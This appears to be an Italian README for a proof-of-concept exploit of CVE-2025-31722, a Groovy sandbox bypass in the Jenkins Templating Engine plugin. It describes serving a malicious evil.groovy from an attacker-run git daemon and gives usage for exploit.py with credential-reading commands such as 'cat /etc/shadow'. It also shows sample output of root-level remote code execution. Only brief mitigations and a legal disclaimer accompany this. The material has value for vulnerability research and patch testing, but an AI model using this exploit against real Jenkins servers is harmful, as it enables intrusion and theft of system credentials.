
CVE-2025-31722 — Jenkins Templating Engine RCE
Solo a scopo didattico e di ricerca sulla sicurezza autorizzata.
Vulnerabilità di bypass della sandbox nel plugin Jenkins Templating Engine (JTE) <= 2.5.3 che consente a un utente con privilegi bassi di eseguire codice arbitrario sul server Jenkins.
Il difetto si verifica perché JTE carica le librerie da un repository git esterno definito in una configurazione GovernanceTier a livello di cartella ed esegue gli step di quelle librerie al di fuori della sandbox Groovy, indipendentemente dal livello di privilegio dell'utente che ha creato il job.
CVSS: 8.8 (Alto)
Tipo: Bypass della sandbox → RCE
Componente interessato: plugin pipeline-templating-engine ≤ 2.5.3
Versione corretta: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker con permessi: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit installatorequestspip install requests
Il setup installato su un server Debian/Ubuntu ha installato Jenkins, configurato utenti, permessi e i plugin richiesti. Non crea alcun contenuto malevolo — è gestito esclusivamente dal PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
setup_repo() — Crea ~/jte-exploit/evil-lib/steps/evil.groovy su Kali con il comando da eseguirestart_git_daemon() — Avvia git daemon su Kali sulla porta 9418create_folder() — Crea una cartella in Jenkins con una GovernanceTier che punta a git://KALI:9418/jte-exploitcreate_job() — Crea un job con AdHocTemplateFlowDefinition che dichiara evil-lib e chiama evil()trigger_and_wait() — Avvia la build e attende il risultatoprint_output() — Mostra l'output della console con il risultato della RCEIl git daemon rimane attivo per l'intero ciclo di build e viene terminato automaticamente al completamento della build.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE e Item/CONFIGURE ai soli utenti fidatiGovernanceTier che puntano a repository esterniNota legale: Questo PoC è destinato esclusivamente a scopi didattici e a test in ambienti controllati. Utilizzarlo contro sistemi senza esplicita autorizzazione è illegale.
| Parametro | Descrizione | Obbligatorio |
|---|
--url | URL base di Jenkins | Sì |
--user | Utente con permessi Item/CREATE+CONFIGURE+BUILD | Sì |
--pass | Password dell'utente | Sì |
--git-host | IP del Kali raggiungibile da Jenkins | Sì |
--cmd | Comando da eseguire sul server (predefinito: id && hostname && cat /etc/passwd) | No |
--cleanup | Elimina la cartella, il job e il repo creati dall'exploit | No |